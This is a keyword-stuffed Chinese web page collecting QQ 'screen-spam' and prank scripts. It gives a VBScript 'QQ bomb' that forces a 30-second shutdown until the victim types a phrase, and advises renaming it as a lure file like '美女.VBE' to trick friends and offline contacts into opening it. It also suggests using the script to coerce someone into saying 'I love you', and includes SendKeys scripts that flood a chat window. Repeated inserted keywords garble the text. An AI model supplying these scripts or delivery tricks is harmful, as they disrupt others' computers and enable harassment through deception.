装黑客绿色刷屏代码QQ（装黑客绿色刷屏代码可复制）
qq代码卡群怎么刷屏
第一步装黑客绿色刷屏代码QQ，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特装黑客绿色刷屏代码QQ，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法装黑客绿色刷屏代码QQ：
最简单的使用方法是，你直接发给好友，让装黑客绿色刷屏代码QQ他运行，然后装黑客绿色刷屏代码QQ他就中招了。
还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了
你自己也可以测试一下这个QQ炸弹的威力。
用了QQ刷屏代码怎么关!!!!
还要吗（好像是个远古问题
1：
按win+r
输入cmd+回车
输入：tskill Wscript+回车
就好了
2.
按ctrl+shift+esc
找到"进程"
往下翻找到WScript.exe并单击
点击“结束进程” 点确认
附赠优化版qq刷屏代码
name=Inputbox("请输入轰炸对象名称")
Dim a
a=inputbox("请输入轰炸次数")
boom=Inputbox("请输入轰炸内容")
msgbox("轰炸对象名称:"+name)
msgbox("轰炸次数:"+a)
msgbox("轰炸内容:"+boom)
msgbox("即将开始轰炸！（若信息有误请退出重进）")
Dim Word
Set Word=CreateObject("Word.Application")
Word.Documents.Add
Word.Selection.Text=boom
Word.Selection.Copy
Word.Quit False
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate name
for i=1 to (int(a))
WScript.Sleep 10
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
Next
请问哪里有黑客帝国那种满屏幕都是绿色代码中间出字的代码呀？
那个是特效做出来装黑客绿色刷屏代码QQ的装黑客绿色刷屏代码QQ，没有实体。
qq刷屏代码？
电脑才能用
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "夜雨"
for i=1to 100
WScript.Sleep 500
WshShell.SendKeys "^v"
WshShell.SendKeys i
WshShell.SendKeys "%s"
Next
一百次版本装黑客绿色刷屏代码QQ，建一个文本文档装黑客绿色刷屏代码QQ，输入，另存为，文件命名最后加上.vbs就可以
（百度找装黑客绿色刷屏代码QQ的） 每个消息后面有数字后缀，不是瞬发
有没有那种刷屏把QQ刷无响应的代码，复制粘贴的代码，或者其他东西也行只要刷到巨卡就行
现在电脑配置基本都挺好 能被qq刷卡装黑客绿色刷屏代码QQ的电脑几乎没有装黑客绿色刷屏代码QQ了吧
